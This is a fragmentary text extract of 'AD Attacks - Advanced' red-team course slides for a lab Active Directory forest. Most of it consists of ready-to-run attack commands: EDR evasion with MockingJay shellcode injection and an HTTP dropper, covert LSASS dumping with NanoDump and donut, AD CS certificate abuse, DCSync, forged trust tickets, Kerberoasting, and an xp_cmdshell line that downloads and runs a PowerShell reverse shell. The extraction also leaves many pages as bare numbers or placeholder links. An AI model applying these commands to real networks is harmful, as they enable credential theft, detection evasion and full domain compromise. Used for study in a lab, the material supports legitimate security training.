• A DLL such as [Link] was found with enough room to accommodate mid to
big sized shellcode.
C:\Temp> C:\Temp\[Link]
[snip]
[RWX] C:\\Program Files (x86)\Microsoft SDKs\NuGetPackages\[Link]-
x64\1.0.0\runtimes\win7-x64\lib\dotnet\[Link]
Section Name: .xdataVirtual
Size: 0x2C308
Virtual Address: 0x206000
Size of Raw Data: 0x2C400
Characteristics: 0xE0000040
---------------------------

• It is possible to leverage this DLL to perform Self Injection. We need to transfer it to


the target as is it not available by default.

AD Attacks - Advanced © Altered Security


AlteredSecurity 162
MDE – MockingJay Process Injection
• The MockingJay Self Injection source has been altered in the following ways:
– Converted from a C to a C++ project
– Incorporated http dropper functionality to download and execute shellcode
– Replaced standard [Link] to [Link]

• An example for using the MockingJay Loader is as follows in the lab:


C:\AD\Tools\Mockingjay> C:\AD\Tools\Mockingjay\[Link] [Link] “/[Link]”
[+] Module loaded...
[+] Offset to RWX memory region: 0xe019b000
[+] Shellcode Written to RWX Memory Region.

AD Attacks - Advanced © Altered Security


AlteredSecurity 163
MDE - LSASS Dump using NanoDump
• NanoDump by HelpSystems, aka the Swiss Army Knife for LSASS Dumping, is known
this way because it provides various credential dumping methods,
reimplementation of the MiniDumpWriteDump API, Syscall Integration, Dump
Obfuscation, fileless downloads, BOF support and much more.

• Nanodump would make a great candidate to couple with the MockingJay POC to
perform an LSASS dump in a covert way that MDE shouldn’t be able to detect.

• To convert Nanodump to shellcode with arguments, we can use the popular tool
called donut by TheWover.

AD Attacks - Advanced © Altered Security


AlteredSecurity 164

NanoDump Github: [Link]


Donut Github: [Link]
MDE - LSASS Dump using NanoDump
• To perform a covert dump using nanodump we can attempt to use the arguments:
spoof-callstack (-sc) , fork LSASS process before dumping (-f) and output the
obfuscated dump to a file (--write). The dump can later be restored using
restore_signature provided in the source /scripts folder

• An example to create such shellcode using donut is as follows:


PS C:\AD\Tools\MockingJay> C:\AD\Tools\MockingJay\[Link] -f 1 -p ' -sc -f --write [Link]' -i
C:\AD\Tools\MockingJay\[Link] -o C:\AD\Tools\MockingJay\[Link]

• We can then host this shellcode on a http webserver and leverage it with the
MockingJay POC to perform a covert LSASS dump and bypass MDE detections.

AD Attacks - Advanced © Altered Security


AlteredSecurity 165
MDE - Tool Transfer
• Downloading tools over HTTP(S) can be risky as it does increase the risk score and
chances of detection by the EDR.

• However, if a LOLBAS that is undetected and trusted by Microsoft such as msedge is


available on the target we can perform HTTP(S) downloads without any detections.

• An opsec friendly alternative would be to share files over SMB. To copy and
exfiltrate an LSASS dump a covert technique would be to copy the file to our host if
we have admin privileges over the target over SMB privileged shares.
PS C:\AD\Tools\MockingJay> copy \\target\c$\users\DumpLocation\[Link] C:\AD\Tools\MockingJay

AD Attacks - Advanced © Altered Security


AlteredSecurity 166

MSEdge lolbas: [Link]


MDE - Breaking Detection Chains
• Most EDRs correlate activity in a specific time interval after which it is reset, this can
vary for each EDR.

• To bypass these correlation-based detections we can:


– Attempt to wait for a small-time interval (~10 mins) before performing the next query.
– Append non malicious queries in between subsequent malicious ones to break the detection
chain altogether.

AD Attacks - Advanced © Altered Security


AlteredSecurity 167
MDE - Lateral Movement – Process Detection

• Once we have remote access to a machine, we commonly use LOLBAS like


[Link], [Link] etc for initial enumeration.

• These commonly abused LOLBAS come under the scrutiny of MDE detections when
primarily spawned under an uncommon context or if coupled with malicious actions
on the target.

• A more opsec friendly way for initial enumeration is by using alternatives such as
SET USERNAME / SET U instead of [Link] which performs the same
functionality to enumerate the current username using environment variables.

AD Attacks - Advanced © Altered Security


AlteredSecurity 168
MDE - Lateral Movement – Process Detection

• A sample detection of [Link] is shown below:

AD Attacks - Advanced © Altered Security


AlteredSecurity 169
170
AlteredSecurity AD Attacks - Advanced © Altered Security 171

171
Domain Privilege Escalation
• So we have administrative access to studentuserx, us-mgmt, us-mailmgmt, us-jump and us-web!
• We are now ready to escalate privileges to Domain Admin!

AlteredSecurity AD Attacks - Advanced © Altered Security 172

172
[Link]
[Link]
[Link]
[Link]
[Link]
server-2012-R2-and-2012/dn466518(v=ws.11)
179
[Link]
[Link]
[Link]
active-directory/41
[Link]
rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1
[Link]
trusts/
187
AlteredSecurity AD Attacks - Advanced © Altered Security 188

188
[Link]
201
[Link]
207
208
209
210
211
212
AlteredSecurity AD Attacks - Advanced © Altered Security 213

213
215
[Link]
Kerberos-Sorry-You-Guys-Don%[Link]
[Link]
[Link]

216
Krbtgt hash could also be extracted from [Link]

217
218
219
220
221
222
223
List of SPNs: [Link]
226
Domain Persistence - Diamond Ticket
• A diamond ticket is created by decrypting a valid TGT, making changes to
it and re-encrypt it using the AES keys of the krbtgt account.
• Golden ticket was a TGT forging attack whereas diamond ticket is a TGT
modification attack.
• Once again, the persistence lifetime depends on krbtgt account.
• A diamond ticket is more opsec safe as it has:
– Valid ticket times because a TGT issued by the DC is modified
– In golden ticket, there is no corresponding TGT request for
TGS/Service ticket requests as the TGT is forged.

AlteredSecurity AD Attacks - Advanced © Altered Security 227

[Link]
[Link]

227
[Link]
[Link]

228
Domain Persistence - Domain DPAPI Backup Key
• Domain DPAPI backup keys can be used to decrypt a domain user's
DPAPI protected data (browser cookies, certificates, saved credentials
etc).
• "There currently is no officially supported way of changing or rotating
these DPAPI backup keys on the domain controllers."
• With DA privileges, we can extract the keys from a DC and abuse them
to decrypt user data.

AlteredSecurity AD Attacks - Advanced © Altered Security 229

[Link]
on-ad-domain-controllers

229
Domain Persistence - Domain DPAPI Backup Key
• Tools like SharpDPAPI can be used to extract the domain Backup Key.
Run the following command with DA privileges:
[Link] backupkey /nowrap
• Once we have the backup key, it can be used to decrypt any domain
user's DPAPI protected data. For example, decrypt certificates:
[Link] -args certificates /pvk:<backupkey>

AlteredSecurity AD Attacks - Advanced © Altered Security 230

[Link]

230
Domain Persistence - Golden gMSA
• If we can dump the Key Distribution Service (KDS) root key (and some of its
attributes), they can be used to generate password for gMSA offline.

• gMSA password is calculated by leveraging the secret stored in the assoicated


Key Distribution Service (KDS) root key object.

• The KDS root key cannot be rotated. A new one can be added but it may lead
to gMSAs failing.

• Only privileged accounts such as Domain Admins, Enterprise Admins or


SYSTEM on the DC can retrieve the KDS root key.
AlteredSecurity AD Attacks - Advanced © Altered Security 231

[Link]
[Link]
managed-service-accounts/group-managed-service-accounts/create-the-key-
distribution-services-kds-root-key

231
[Link]
malware-analysis/
[Link]
[Link]
PowerShell command for changing the registry key -
New-ItemProperty
"HKLM:\System\CurrentControlSet\Control\Lsa\" -Name
"DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
[Link]
us/library/windows/desktop/aa380502(v=vs.85).aspx
[Link]
[Link]
magazine/ee361593(v=msdn.10)
[Link]
best-practices/appendix-c--protected-accounts-and-groups-in-active-directory
[Link]
[Link]
11_Active_directory_v2.[Link]
Ref for PowerView command: [Link]
active-directory-permissions-with-powerview/
[Link]
258
259
Reference: [Link]
us/library/windows/desktop/aa374928(v=vs.85).aspx

260
[Link]
[Link]
[Link]
security-part-1-of-3/

261
262
[Link]
[Link]
descriptor-modification-2cf505ec5c40

263
Cross Trust Attacks
• We now have access Domain Admin privileges in the [Link] domain.
• Let's discuss attacks across Domain Trusts and Forest trusts.

AlteredSecurity AD Attacks - Advanced © Altered Security 264

264
Cross Domain Attacks – AD CS
• Active Directory Certificate Services (AD CS) enables use of Public Key
Infrastructure (PKI) in active directory forest.
• AD CS helps in authenticating users and machines, encrypting and
signing documents, filesystem, emails and more.
• "AD CS is the Server Role that allows you to build a public key
infrastructure (PKI) and provide public key cryptography, digital
certificates, and digital signature capabilities for your organization."

AlteredSecurity AD Attacks - Advanced © Altered Security 265

[Link]
server-2012-r2-and-2012/hh831740(v=ws.11)

265
Cross Domain Attacks – AD CS - Terminology
• CA - The certification authority that issues certificates. The server with AD CS
role (DC or separate) is the CA.
• Certificate - Issued to a user or machine and can be used for authentication,
encryption, signing etc.
• CSR - Certificate Signing Request made by a client to the CA to request a
certificate.
• Certificate Template - Defines settings for a certificate. Contains information
like - enrolment permissions, EKUs, expiry etc.
• EKU OIDs - Extended Key Usages Object Identifiers. These dictate the use of a
certificate template (Client authentication, Smart Card Logon, SubCA etc.)

AlteredSecurity AD Attacks - Advanced © Altered Security 266

266
Cross Domain Attacks – AD CS - Example

AlteredSecurity AD Attacks - Advanced © Altered Security 267

Diagram source - [Link]


[Link]

267
Cross Domain Attacks – AD CS - Abuse
• There are various ways of abusing ADCS! (See the link to "Certified Pre-
Owned" paper in slide notes):
– Extract user and machine certificates
– Use certificates to retrieve NTLM hash
– User and machine level persistence
– Escalation to Domain Admin and Enterprise Admin
– Domain persistence
• We will not discuss all of the techniques!

AlteredSecurity AD Attacks - Advanced © Altered Security 268

See page 4 and 5 for summary of attack techniques -


[Link]

268
Priv Esc - Across domain trusts - AD CS

Stealing THEFT1 THEFT2 THEFT3 THEFT4 THEFT5


Certificates
Export certs with Extracting user Extracting Steal certificates Use Kerberos
private keys using certs with private machine certs from files and PKINIT to get
Windows' crypto keys using DPAPI with private keys stores NTLM hash
APIs using DPAPI
Persistence PERSIST1 PERSIST2 PERSIST3

User persistence Machine User/Machine


by requesting persistence by persistence by
new certs requesting new renewing certs
certs

AlteredSecurity AD Attacks - Advanced © Altered Security 269

269
Priv Esc - Across domain trusts - AD CS
ESC1 ESC2 ESC3 ESC4 ESC5 ESC6 (Patched ESC7 ESC8
- May'22)
Enrolee can Any purpose or Request an Overly Poor access Poor access NTLM relay
request cert for no EKU enrollment permissive control on CA EDITF_ATTRIBU control on roles to HTTP
ANY user (potentially agent ACLs on server, CA TESUBJECTALT on CA authority enrollment
dangerous) certificate and templates server NAME2 setting like "CA endpoints
use it to computer on CA - Administrator"
request cert on object etc. Request certs and "Certificate
behalf of ANY for ANY user Manager"
user
ESC9 ESC10 ESC11 ESC12 ESC13 ESC14 (To be ESC15 (Patched
patched) Nov'24)
No Security Implicit Weak NTLM relay to Steal CA Enrolee gets
Extension (Enrolee Certificate RPC enrolment private key privileges of Auth as the EKUwu - Abuse of
can modify own Mapping endpoints from Yubico the linked target using default version 1
UPN to request (Enrolee can . YubiHSM Group certificate of templates to
cert on behalf of modify own referenced in 'override' EKUs
ANY user) UPN to request altSecurityIden
cert on behalf tities attribute
AlteredSecurity of ANY user) AD Attacks - Advanced © Altered Security of the target 270

270
Priv Esc - Across domain trusts - AD CS
Domain DPERSIST1 DPERSIST2 DPERSIST3
Persistence
Forge Malicious Backdoor
certificates root/interm CA Server,
with stolen ediate CAs CA server
CA private computer
keys object etc.

AlteredSecurity AD Attacks - Advanced © Altered Security 271

271
Cross Domain Attacks – AD CS - Enumeration
• We can use the Certify tool ([Link] to
enumerate (and for other attacks) AD CS in the target forest:
[Link] cas

• Enumerate the templates.:


[Link] find

• Enumerate vulnerable templates:


[Link] find /vulnerable

AlteredSecurity AD Attacks - Advanced © Altered Security 272

272
Priv Esc - Across domain trusts – AD CS
• Common requirements/misconfigurations for all the Escalations
– CA grants normal/low-privileged users enrollment rights
– Manager approval is disabled
– Authorization signatures are not required
– The target template grants normal/low-privileged users enrollment
rights

AlteredSecurity AD Attacks - Advanced © Altered Security 273

273
Cross Domain Attacks – AD CS - Escalation
• In techcorp, the user pawadmin has enrollment rights to a template -
ForAdminsofPrivilegedAccessWorkstations
• The template has ENROLLEE_SUPPLIES_SUBJECT value for msPKI-
Certificates-Name-Flag. (ESC1)
• This means pawadmin can request certificate for ANY user.
• Note that this does not show up when we enumerate vulnerable
templates in Certify. Use:
[Link] find
[Link] find /enrolleeSuppliesSubject

AlteredSecurity AD Attacks - Advanced © Altered Security 274

274
Cross Domain Attacks – AD CS - Escalation
• We have the certificate of pawadmin that we extracted from us-jump.
(THEFT4)
• Use the certificate to request a TGT for pawadmin and inject it:
C:\AD\Tools\[Link] asktgt /user:pawadmin
/certificate:C:\AD\Tools\[Link]
/password:SecretPass@123 /nowrap /ptt

AlteredSecurity AD Attacks - Advanced © Altered Security 275

275
Cross Domain Attacks – AD CS - Escalation to DA
• Request a certificate for DA!
C:\AD\Tools\[Link] request /ca:Techcorp-
[Link]\TECHCORP-DC-CA
/template:ForAdminsofPrivilegedAccessWorkstations
/altname:Administrator

• Convert from [Link] to pfx:


C:\AD\Tools\openssl\[Link] pkcs12 -in C:\AD\Tools\[Link] -
keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export
-out C:\AD\Tools\[Link]

• Request DA TGT and inject it:


C:\AD\Tools\[Link] asktgt /user:Administrator
/certificate:C:\AD\Tools\[Link] /password:SecretPass@123 /nowrap
/ptt

AlteredSecurity AD Attacks - Advanced © Altered Security 276

276
Cross Domain Attacks – AD CS - Escalation to EA
• Request a certificate for EA!
C:\AD\Tools\[Link] request /ca:Techcorp-
[Link]\TECHCORP-DC-CA
/template:ForAdminsofPrivilegedAccessWorkstations
/altname:Administrator

• Convert from [Link] to pfx:


C:\AD\Tools\openssl\[Link] pkcs12 -in C:\AD\Tools\[Link] -
keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export
-out C:\AD\Tools\[Link]

• Request EA TGT and inject it:


C:\AD\Tools\[Link] asktgt /user:[Link]\Administrator
/dc:[Link] /certificate:C:\AD\Tools\[Link]
/password:SecretPass@123 /nowrap /ptt

AlteredSecurity AD Attacks - Advanced © Altered Security 277

277
278
AlteredSecurity AD Attacks - Advanced © Altered Security 279

279
280
AlteredSecurity AD Attacks - Advanced © Altered Security 281

281
[Link]
for-takeover-8ee1a53566ab

282
283
284
285
286
287
[Link]
server-2012-r2-and-2012/jj717288%28v%3Dws.11%29
[Link]
gpol/494e3623-391d-40ba-a648-672119a07b5f

288
[Link]
[Link]

289
290
Cross Domain Attacks - Attacking Hybrid Identity
• Entra ID (Azure AD) is a popular method to extend identity management
from on-premises AD to Microsoft's Azure offerings.
• Many enterprises use their on-prem AD identities to access Azure
applications.
• "A single user identity for authentication and authorization to all
resources, regardless of location…is hybrid identity."

AlteredSecurity AD Attacks - Advanced © Altered Security 291

[Link]

291
Cross Domain Attacks - Attacking Hybrid Identity
• An on-premises AD can be integrated with Entra ID using Entra Connect
with the following methods. Every method supports Single Sign-on
(SSO):
– Password Hash Sync (PHS)
– Pass-Through Authentication (PTA)
– Federation
• For each method, at least the user synchronization is done and an
account MSOL_<installationidentifier> is created on the on-prem AD.

AlteredSecurity AD Attacks - Advanced © Altered Security 292

292
Cross Domain Attacks - Attacking Hybrid Identity
• Let's target PHS.
• It shares users and their
password hashes from on-
premises AD to Azure AD.
• A new users MSOL_ is
created which has
Synchronization rights
(DCSync) on the domain!

AlteredSecurity AD Attacks - Advanced © Altered Security 293

[Link]

293
Cross Domain Attacks - Attacking Hybrid Identity
• Enumerate the PHS account and server where Entra Connect is installed.
• Using PowerView:
Get-DomainUser -Identity "MSOL_*" -Domain [Link]

• Using the ActiveDirectory module:


Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -
Server [Link] -Properties * | select
SamAccountName,Description | fl

AlteredSecurity AD Attacks - Advanced © Altered Security 294

294
Cross Domain Attacks - Attacking Hybrid Identity -
PHS
• We already have administrative access to us-adconnect as
adconnectadmin.
• With administrative privileges, if we run adconnect.ps1, we can extract
the credentials of the MSOL_ account used by Entra Connect in clear-
text
.\adconnect.ps1
Note that the above script's code runs [Link] so verbose logs (like transcripts) will be there.
• With the password, we can run commands as MSOL_
runas /user:[Link]\MSOL_16fb75d0227d /netonly
cmd

AlteredSecurity AD Attacks - Advanced © Altered Security 295

[Link]

295
Cross Domain Attacks - Attacking Hybrid Identity -
PHS
• And can then execute the DCSync attack:
[Link] '"lsadump::dcsync /user:us\krbtgt"'
[Link] '"lsadump::dcsync /user:techcorp\krbtgt
/domain:[Link]"'
• Please note that because AD Connect synchronizes hashes every two
minutes, in an Enterprise Environment, the MSOL_ account will be excluded
from tools like MDI! This will allow us to run DCSync without any alerts!

AlteredSecurity AD Attacks - Advanced © Altered Security 296

296
297
AlteredSecurity AD Attacks - Advanced © Altered Security 298

298
Cross Domain Attacks – Forest Root
• sIDHistory is a user attribute designed for scenarios where a user is
moved from one domain to another. When a user's domain is changed,
they get a new SID and the old SID is added to sIDHistory.
• sIDHistory can be abused in two ways of escalating privileges within a
forest:
– krbtgt hash of the child
– Trust tickets
• All the Privilege Escalation to [Link] we have seen till now needs
some misconfiguration. These ones are 'working as intended'.

AlteredSecurity AD Attacks - Advanced © Altered Security 299

299
Child to Forest Root Trust Flow

AlteredSecurity AD Attacks - Advanced © Altered Security 300

300
Child to Forest Root Trust Flow Abuse

AlteredSecurity AD Attacks - Advanced © Altered Security 301

301
Cross Domain Attacks – Child to Forest Root -
Trust Key
• So, what is required to forge trust tickets is, obviously, the trust key.
Look for [In] trust key from child to parent.
[Link] '"lsadump::trust /patch"'
or
[Link] '"lsadump::dcsync /user:us\techcorp$"'
or
[Link] '"lsadump::lsa /patch"'
• We can also use any of the earlier discussed tools to extract trust keys.

AlteredSecurity AD Attacks - Advanced © Altered Security 302

[Link]

302
Cross Domain Attacks – Child to Forest Root -
Trust Key
• Using Rubeus, forge a ticket
C:\AD\Tools\[Link] silver /user:Administrator /ldap
/service:krbtgt/[Link]
/rc4:a6215eeb238da9262d014a529fe03adb /sids:S-1-5-21-
2781415573-3701854478-2406986946-519 /nowrap

• Use the forged ticket


C:\AD\Tools\[Link] asktgs /service:CIFS/techcorp-
[Link] /dc:[Link] /ptt
/ticket:

AlteredSecurity AD Attacks - Advanced © Altered Security 303

303
304
305
306
307
308
Cross Forest Attacks
• We now have Enterprise Admin privileges in the [Link] forest.
• Let's discuss some techniques to move across forest trusts.

AlteredSecurity AD Attacks - Advanced © Altered Security 309

309
Cross Forest Attacks - Kerberoasting
• It is possible to execute Kerberoasting across Forest trusts.
• Let's enumerate named service accounts across forest trusts
• Using PowerView
Get-DomainTrust | ?{$_.TrustAttributes -eq
'FILTER_SIDS'} | %{Get-DomainUser -SPN -Domain
$_.TargetName}
• Using ActiveDirectory Module:
Get-ADTrust -Filter 'IntraForest -ne $true' | %{Get-
ADUser -Filter {ServicePrincipalName -ne "$null"} -
Properties ServicePrincipalName -Server $_.Name}

AlteredSecurity AD Attacks - Advanced © Altered Security 310

310
Cross Forest Attacks - Kerberoasting
• Request a TGS
C:\AD\Tools\[Link] kerberoast /user:storagesvc /simple
/domain:[Link] /outfile:[Link]
• Check for the TGS
klist
• Crack using John
[Link] --wordlist=C:\AD\Tools\kerberoast\[Link]
C:\AD\Tools\[Link]

• Request TGS across trust using PowerShell


Add-Type -AssemblyName [Link]
New-Object
[Link] -
ArgumentList MSSQLSvc/[Link]@[Link]

AlteredSecurity AD Attacks - Advanced © Altered Security 311

311
312
AlteredSecurity AD Attacks - Advanced © Altered Security 313

313
316
AlteredSecurity AD Attacks - Advanced © Altered Security 317

317
Cross Forest Attacks - Unconstrained Delegation
• Recall the Printer bug and its abuse from a machine with Unconstrained
Delegation.
• We have used it to escalate privileges to Domain Admin and Enterprise
Admin.
• It also works across a Two-way forest trust with TGT Delegation
enabled!
• TGT Delegation is disabled by default and must be explicitly enabled
across a trust for the trusted (target) forest.
• In the lab, TGTDelegation is set from [Link] to [Link]
(but not set for the other direction).

AlteredSecurity AD Attacks - Advanced © Altered Security 318

On July 9 2019, Microsoft updated the TGT


Delegation behavior across forest trusts (even
the existing ones for Server 2012 onwards) by
addressing this issue as CVE-2019-0683
[Link]
security/changes-to-ticket-granting-ticket-tgt-delegation-across-trusts/ba-
p/440283
[Link]
2019-0683

318
Cross Forest Attacks - Unconstrained Delegation
• To enumerate if TGTDelegation is enabled across a forest trust, run the below
command from a DC
netdom trust trustingforest /domain:trustedforest
/EnableTgtDelegation

• In the lab, this is to be run on usvendor-dc


netdom trust [Link] /domain:[Link]
/EnableTgtDelegation
• The PowerShell cmdlets of the ADModule seems to have a bug, the below
command shows TGTDelegation set to False:
Get-ADTrust -server [Link] -Filter *
• But when run from usvendor-dc, it shows TGTDelegation to be True.

AlteredSecurity AD Attacks - Advanced © Altered Security 319

319
[Link]
[Link]
[Link]
[Link]
nplogonnotify

320
321
322
AlteredSecurity AD Attacks - Advanced © Altered Security 323

323
Cross Forest Attacks - Trust Key
• By abusing Kerberos between forests in a two way trust, it is possible to
access resources across the forest boundary.
• We can use the Trust Key, the same way as in Domain trusts but we can
access only those resources which are explicitly shared with our current
forest.
• Let's try to access a file share 'eushare' on euvendor-dc of
[Link] forest from [Link] which is explicitly shared with
Domain Admins of [Link].
• Note that we are hopping trusts from [Link] to [Link] to
[Link]!

AlteredSecurity AD Attacks - Advanced © Altered Security 324

324
Cross Forest Attacks - Trust Flow
Across Forest

AlteredSecurity AD Attacks - Advanced © Altered Security 325

325
Cross Forest Attacks - Trust Abuse
Across Forest

AlteredSecurity AD Attacks - Advanced © Altered Security 326

326
Cross Forest Attacks - Trust Key
• Like intra forest scenario, we require the trust key for the inter-forest
trust.
[Link] '"lsadump::trust /patch"'
or
[Link] '"lsadump::dcsync /user:eu\euvendor$"'
or
[Link] '"lsadump::lsa /patch"'
• We can also use any of the earlier discussed tools to extract trust keys.

AlteredSecurity AD Attacks - Advanced © Altered Security 327

[Link]

327
Cross Forest Attacks - Trust Key
• An inter-forest TGT can be forged
[Link] silver /user:Administrator /ldap
/service:krbtgt/[Link]
/rc4:1298346f5864bff7958e2af6f17ce7ab /sid:S-1-5-21-
3657428294-2017276338-1274645009 /nowrap

• Use the forged ticket


C:\AD\Tools\[Link] asktgs /service:CIFS/ euvendor-
[Link] /dc:[Link] /ptt
/ticket:<>

AlteredSecurity AD Attacks - Advanced © Altered Security 328

328
Cross Forest Attacks - Trust Key
• This is fine but why can't we access all resources just like Intra forest?
• SID Filtering is the answer. It filters high privilege SIDs from the SIDHistory of a TGT crossing forest
boundary. This means we cannot just go ahead and access resources in the trusting forest as an
Enterprise Admin.
• But there is a catch:
Not filtered at domain and external
S-1-5-21-<Domain>-R Identifiers for end user-created domain trust boundaries. Can be filtered at
R >= 1000 identities and domain groups. member, quarantined, and cross-forest
boundaries.
See the filtering pattern table here: [Link]
103dd7c66280
• This means, if we have an external trust (or a forest trust with SID history enabled -
/enablesidhistory:yes), we can inject a SIDHistory for RID > 1000 to access resources accessible to
that identity or group in the target trusting forest.

AlteredSecurity AD Attacks - Advanced © Altered Security 329

Also highlighted here: [Link]


how-does-sid-filtering-work/

329
Cross Forest Attacks - Trust Key
• We had DA access to [Link]. Let's enumerate trusts from a
PSRemoting session on eu-dc:
Get-ADTrust -Filter *
• SIDFilteringForestAware is set to True, it means SIDHistory is enabled
across the forest trust.
• Please remember that still only RID > 1000 SIDs will be allowed across
the trust boundary.
Get-ADGroup -Filter 'SID -ge "S-1-5-21-4066061358-3942393892-
617142613-1000"' -Server [Link]

AlteredSecurity AD Attacks - Advanced © Altered Security 330

330
Cross Forest Attacks - Trust Key
• From eu-dc, create a TGT with SIDHistory of EUAdmins group:
[Link] silver /user:Administrator /ldap
/service:krbtgt/[Link]
/rc4:1298346f5864bff7958e2af6f17ce7ab /sid:S-1-5-21-
4066061358-3942393892-617142613-1103 /nowrap
• Request a TGS:
C:\Users\Public\[Link] asktgs
/ticket:C:\Users\Public\[Link]
/service:HTTP/[Link] /dc:euvendor-
[Link] /ptt

• Access the euvendor-net machine using WinRM:


winrs -r:[Link] cmd

AlteredSecurity AD Attacks - Advanced © Altered Security 331

331
332
AlteredSecurity AD Attacks - Advanced © Altered Security 333

333
334
335
Trust Abuse - MSSQL Servers - Database Links
• A database link allows a SQL Server to access external data sources like
other SQL Servers and OLE DB data sources.
• In case of database links between SQL servers, that is, linked SQL servers
it is possible to execute stored procedures.
• Database links work even across forest trusts.

AlteredSecurity AD Attacks - Advanced © Altered Security 336

More at: [Link]

336
Trust Abuse - MSSQL Servers - Database Links
Searching Database Links
• Look for links to remote servers
Get-SQLServerLink -Instance [Link] -
Verbose
• We can manually enumerate linked servers
select * from master..sysservers

AlteredSecurity AD Attacks - Advanced © Altered Security 337

337
Trust Abuse - MSSQL Servers - Database Links
• Openquery function can be used to run queries on a linked database
select * from openquery("[Link]",'select * from
master..sysservers')
• Openquery queries can be chained to access links within links (nested links)
select * from openquery("[Link] ",'select * from
openquery("db-sqlsrv",''select @@version as version'')')

AlteredSecurity AD Attacks - Advanced © Altered Security 338

338
Trust Abuse - MSSQL Servers - Database Links
Executing Commands
• On the target server, either xp_cmdshell should be already enabled; or
• If rpcout is enabled (disabled by default), xp_cmdshell can be enabled
using:
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;')
AT "db-sqlsrv"

AlteredSecurity AD Attacks - Advanced © Altered Security 339

339
Trust Abuse - MSSQL Servers - Database Links
Executing Commands
• From the initial SQL server, OS commands can be executed using nested
link queries:
select * from openquery("[Link]",'select * from
openquery("db-sqlsrv",''select @@version as version;exec
master..xp_cmdshell "powershell iex (New-Object
[Link]).DownloadString(''''[Link]
nvoke-PowerShellTcp.ps1'''')"'')')

AlteredSecurity AD Attacks - Advanced © Altered Security 340

340
Trust Abuse - MSSQL Servers - Database Links
Abusing Database Links
• Crawling links to remote servers
Get-SQLServerLinkCrawl -Instance us-
[Link]

• Abusing links to remote servers (without -QueryTarget the command


tries to use xp_cmdshell on every link of the chain)
Get-SQLServerLinkCrawl -Instance us-
[Link] -Query 'exec master..xp_cmdshell
''whoami''' -QueryTarget db-sqlsrv

AlteredSecurity AD Attacks - Advanced © Altered Security 341

341
Hands-on 27
• Get a reverse shell on db-sqlsrv in [Link] forest by abusing database
links from us-mssql.

AlteredSecurity AD Attacks - Advanced © Altered Security 342

342
AlteredSecurity AD Attacks - Advanced © Altered Security 343

343
Cross Forest Attacks - Foreign Security Principals
• A Foreign Security Principal (FSP) represents a Security Principal in a
external forest trust or special identities (like Authenticated Users,
Enterprise DCs etc.).
• Only SID of a FSP is stored in the Foreign Security Principal Container
which can be resolved using the trust relationship.
• FSP allows external principals to be added to domain local security
groups. Thus, allowing such principals to access resources in the forest.
• Often, FSPs are ignored, mis-configured or too complex to
change/cleanup in an enterprise making them ripe for abuse.

AlteredSecurity AD Attacks - Advanced © Altered Security 344

344
Cross Forest Attacks - Foreign Security Principals
• Let's enumerate FSPs for the [Link] domain using the reverse
shell we have there.
• PowerView:
Find-ForeignGroup -Verbose
Find-ForeignUser -Verbose

• Using ActiveDirectory module:


Get-ADObject -Filter {objectClass -eq
"foreignSecurityPrincipal"}

AlteredSecurity AD Attacks - Advanced © Altered Security 345

345
Cross Forest Attacks - ACLs
• Access to resources in a forest trust can also be provided without using
FSPs using ACLs.
• Principals added to ACLs do NOT show up in the
ForeignSecurityPrinicpals container as the container is populated only
when a principal is added to a domain local security group.

AlteredSecurity AD Attacks - Advanced © Altered Security 346

346
Cross Forest Attacks - ACLs
• Let's enumerate ACLs for the [Link] domain using the reverse
shell we have on [Link]:
Find-InterestingDomainAcl -Domain [Link]

AlteredSecurity AD Attacks - Advanced © Altered Security 347

347
348
AlteredSecurity AD Attacks - Advanced © Altered Security 349

349
Cross Forest Attacks - Abusing PAM Trust
• PAM trust is usually enabled between a Bastion or Red forest and a
production/user forest which it manages.
• PAM trust provides the ability to access the production forest with high
privileges without using credentials of the bastion forest. Thus, better
security for the bastion forest which is much desired.
• To achieve the above, Shadow Principals are created in the bastion
domain which are then mapped to DA or EA groups SIDs in the
production forest.

AlteredSecurity AD Attacks - Advanced © Altered Security 350

350
Cross Forest Attacks - Abusing PAM Trust
• We have DA access to the [Link] forest. By enumerating trusts
and hunting for access, we can enumerate that we have Administrative
access to the [Link] forest.
• From techcorp-dc:
Get-ADTrust -Filter *
Get-ADObject -Filter {objectClass -eq
"foreignSecurityPrincipal"} -Server [Link]

AlteredSecurity AD Attacks - Advanced © Altered Security 351

351
Cross Forest Attacks - Abusing PAM Trust
• On bastion-dc, enumerate if there is a PAM trust:
$bastiondc = New-PSSession [Link]
Invoke-Command -ScriptBlock {Get-ADTrust -Filter
{(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -
eq $False)}} -Session $bastiondc

• Check which users are members of the Shadow Principals (and if PAM trust is
used):
Invoke-Command -ScriptBlock {Get-ADObject -SearchBase
("CN=Shadow Principal Configuration,CN=Services," + (Get-
ADRootDSE).configurationNamingContext) -Filter * -Properties
* | select Name,member,msDS-ShadowPrincipalSid | fl} -Session
$bastiondc

AlteredSecurity AD Attacks - Advanced © Altered Security 352

352
Cross Forest Attacks - Abusing PAM Trust
• Establish a direct PSRemoting session on bastion-dc and access
[Link]:
Enter-PSSession [Link] -Authentication
NegotiateWithImplicitCredential

AlteredSecurity AD Attacks - Advanced © Altered Security 353

353
354
AlteredSecurity AD Attacks - Advanced © Altered Security 355

355
Cross Forest Attacks – Trusting to Trusted - Trust Key
• We can use the trust account to access resources from a trusting forest
to the trusted forest (opposite to direction of access).
• This is possible because the trusting domain's trust key account is
member of the Domain Users group in the trusted domain.
• Note that this is a default setting.

AlteredSecurity AD Attacks - Advanced © Altered Security 356

Blog reference: [Link]


between-domains-part-7-trust-account-attack-from-trusting-to-trusted
Domain Users MSDN: [Link]
server/identity/ad-ds/manage/understand-security-groups#domain-users

356
Cross Forest Attacks – Trusting to Trusted - Trust Key
• The Domain Users group can be used for:
– Enumeration
– DNS record creation
– Adding computers to the domain
– Exploiting vulnerable certificate templates
– Kerberoasting, ASREPRoasting etc.
• Trust key can be obtained from any of the DCs in the trust.
• In the lab, it is setup between production-dc (trusting domain) and
bastion-dc (trusted domain).
• In the lab, we will go in opposite direction of a PIM/PAM trust which is
huge.

AlteredSecurity AD Attacks - Advanced © Altered Security 357

357
Cross Forest Attacks – Trusting to Trusted - Trust Key
• On production-dc begin by extracting the trust key [out] for bastion-dc. We
can also use any of the earlier discussed tools / methods to extract trust keys.
